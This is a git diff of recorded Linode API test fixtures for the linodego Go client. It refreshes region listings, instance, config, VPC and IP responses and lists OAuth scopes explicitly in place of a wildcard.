"capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, - 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: @@ -238,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:54 GMT + - Fri, 31 May 2024 17:27:15 GMT Pragma: - no-cache Strict-Transport-Security: @@ -255,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -264,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-8n8r2ep8s0n6","booted":false}' + body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-8e24nuw9g3j6","firewall_id":501396,"booted":false}' form: {} headers: Accept: @@ -276,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 55639840, "label": "go-test-ins-wo-disk-8n8r2ep8s0n6", "group": + body: '{"id": 59542160, "label": "go-test-ins-wo-disk-8e24nuw9g3j6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.234.132.134"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.233.197.212"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "7597032a9c1a8fdcf9d6cb37608c987b986e0771", "has_user_data": false}' + "b1b4cb30bc4445a35d2f39bb1dca1785b9ead7a7", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -301,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "762" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:54 GMT + - Fri, 31 May 2024 17:27:15 GMT Pragma: - no-cache Strict-Transport-Security: @@ -322,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -331,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-ew13985vg0zn","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-9h75z6i3ms1d","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -340,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639840/configs + url: https://api.linode.com/v4beta/linode/instances/59542160/configs method: POST response: - body: '{"id": 58765148, "label": "go-test-conf-ew13985vg0zn", "helpers": {"updatedb_disabled": + body: '{"id": 62728772, "label": "go-test-conf-9h75z6i3ms1d", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -372,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:55 GMT + - Fri, 31 May 2024 17:27:15 GMT Pragma: - no-cache Strict-Transport-Security: @@ -387,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -396,7 +440,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-vpc-1709593375071059000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1709593375071105000","ipv4":"192.168.0.0/25"}]}' + body: '{"label":"go-test-vpc-1717176435853958000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1717176435854038000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: @@ -408,10 +452,11 @@ interactions: url: https://api.linode.com/v4beta/vpcs method: POST response: - body: '{"id": 26517, "label": "go-test-vpc-1709593375071059000", "description": - "", "region": "us-iad", "subnets": [{"id": 26762, "label": "linodego-vpc-test-1709593375071105000", - "ipv4": "192.168.0.0/25", "linodes": [], "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"id": 64429, "label": "go-test-vpc-1717176435853958000", "description": + "", "region": "us-iad", "subnets": [{"id": 62988, "label": "linodego-vpc-test-1717176435854038000", + "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" @@ -428,13 +473,13 @@ interactions: Connection: - keep-alive Content-Length: - - "351" + - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:55 GMT + - Fri, 31 May 2024 17:27:16 GMT Pragma: - no-cache Strict-Transport-Security: @@ -449,7 +494,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -458,7 +506,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-ew13985vg0zn","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":26762,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' + body: '{"label":"go-test-conf-9h75z6i3ms1d","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":62988,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: @@ -467,23 +515,24 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639840/configs/58765148 + url: https://api.linode.com/v4beta/linode/instances/59542160/configs/62728772 method: PUT response: - body: '{"id": 58765148, "label": "go-test-conf-ew13985vg0zn", "helpers": {"updatedb_disabled": + body: '{"id": 62728772, "label": "go-test-conf-9h75z6i3ms1d", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", - "virt_mode": "paravirt", "interfaces": [{"id": 1150388, "purpose": "public", + "virt_mode": "paravirt", "interfaces": [{"id": 1598286, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": - null, "subnet_id": null, "ipv4": null, "ip_ranges": null}, {"id": 1150389, "purpose": - "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", - "vpc_id": null, "subnet_id": null, "ipv4": null, "ip_ranges": null}, {"id": - 1150390, "purpose": "vpc", "primary": false, "active": false, "ipam_address": - null, "label": null, "vpc_id": 26517, "subnet_id": 26762, "ipv4": {"vpc": "192.168.0.2", - "nat_1_1": "172.234.132.134"}, "ip_ranges": []}]}' + null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": + 1598287, "purpose": "vlan", "primary": false, "active": false, "ipam_address": + "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": + null, "ip_ranges": null}, {"id": 1598288, "purpose": "vpc", "primary": false, + "active": false, "ipam_address": null, "label": null, "vpc_id": 64429, "subnet_id": + 62988, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.233.197.212"}, "ipv6": + null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" @@ -504,7 +553,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:55 GMT + - Fri, 31 May 2024 17:27:16 GMT Pragma: - no-cache Strict-Transport-Security: @@ -520,7 +569,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -538,23 +590,23 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639840/ips + url: https://api.linode.com/v4beta/linode/instances/59542160/ips method: GET response: - body: '{"ipv4": {"public": [{"address": "172.234.132.134", "gateway": "172.234.132.1", + body: '{"ipv4": {"public": [{"address": "172.233.197.212", "gateway": "172.233.197.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, - "rdns": "172-234-132-134.ip.linodeusercontent.com", "linode_id": 55639840, "region": - "us-iad", "vpc_nat_1_1": {"vpc_id": 26517, "subnet_id": 26762, "address": "192.168.0.2"}}], + "rdns": "172-233-197-212.ip.linodeusercontent.com", "linode_id": 59542160, "region": + "us-iad", "vpc_nat_1_1": {"vpc_id": 64429, "subnet_id": 62988, "address": "192.168.0.2"}}], "private": [], "shared": [], "reserved": [], "vpc": [{"address": "192.168.0.2", - "address_range": null, "vpc_id": 26517, "subnet_id": 26762, "region": "us-iad", - "linode_id": 55639840, "config_id": 58765148, "interface_id": 1150390, "active": - false, "nat_1_1": "172.234.132.134", "gateway": "192.168.0.1", "prefix": 25, + "address_range": null, "vpc_id": 64429, "subnet_id": 62988, "region": "us-iad", + "linode_id": 59542160, "config_id": 62728772, "interface_id": 1598288, "active": + false, "nat_1_1": "172.233.197.212", "gateway": "192.168.0.1", "prefix": 25, "subnet_mask": "255.255.255.128"}]}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, - "type": "ipv6", "rdns": null, "linode_id": 55639840, "region": "us-iad", "public": + "type": "ipv6", "rdns": null, "linode_id": 59542160, "region": "us-iad", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": - null, "linode_id": 55639840, "region": "us-iad", "public": false}, "global": + null, "linode_id": 59542160, "region": "us-iad", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: @@ -576,7 +628,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:55 GMT + - Fri, 31 May 2024 17:27:16 GMT Pragma: - no-cache Strict-Transport-Security: @@ -593,7 +645,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -611,7 +666,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55639840 + url: https://api.linode.com/v4beta/linode/instances/59542160 method: DELETE response: body: '{}' @@ -637,7 +692,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:56 GMT + - Fri, 31 May 2024 17:27:17 GMT Pragma: - no-cache Strict-Transport-Security: @@ -652,7 +707,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -670,7 +728,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/vpcs/26517 + url: https://api.linode.com/v4beta/vpcs/64429 method: DELETE response: body: '{}' @@ -696,7 +754,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 23:02:56 GMT + - Fri, 31 May 2024 17:27:17 GMT Pragma: - no-cache Strict-Transport-Security: @@ -711,7 +769,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestIPAddresses_List.yaml b/test/integration/fixtures/TestIPAddresses_List.yaml index 1a637fab0..a31c8c458 100644 --- a/test/integration/fixtures/TestIPAddresses_List.yaml +++ b/test/integration/fixtures/TestIPAddresses_List.yaml @@ -16,113 +16,134 @@ interactions: response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, - 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, - 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, - 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, - 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-iad", "label": - "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, - 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-ord", "label": - "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", - "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", - "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", - "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, - 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, - 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": - "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": - "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, - 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "se-sto", "label": - "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, - 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", - "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "es-mad", "label": - "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "in-maa", "label": - "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, - 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 